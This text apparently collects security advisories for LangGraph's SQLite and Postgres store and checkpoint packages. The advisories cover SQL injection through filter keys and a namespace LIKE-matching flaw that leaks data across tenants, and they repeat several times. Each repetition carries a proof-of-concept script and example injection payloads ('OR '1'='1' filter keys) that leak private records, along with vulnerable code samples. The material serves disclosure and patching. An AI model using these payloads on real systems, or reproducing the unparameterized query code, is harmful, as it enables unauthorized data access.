1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

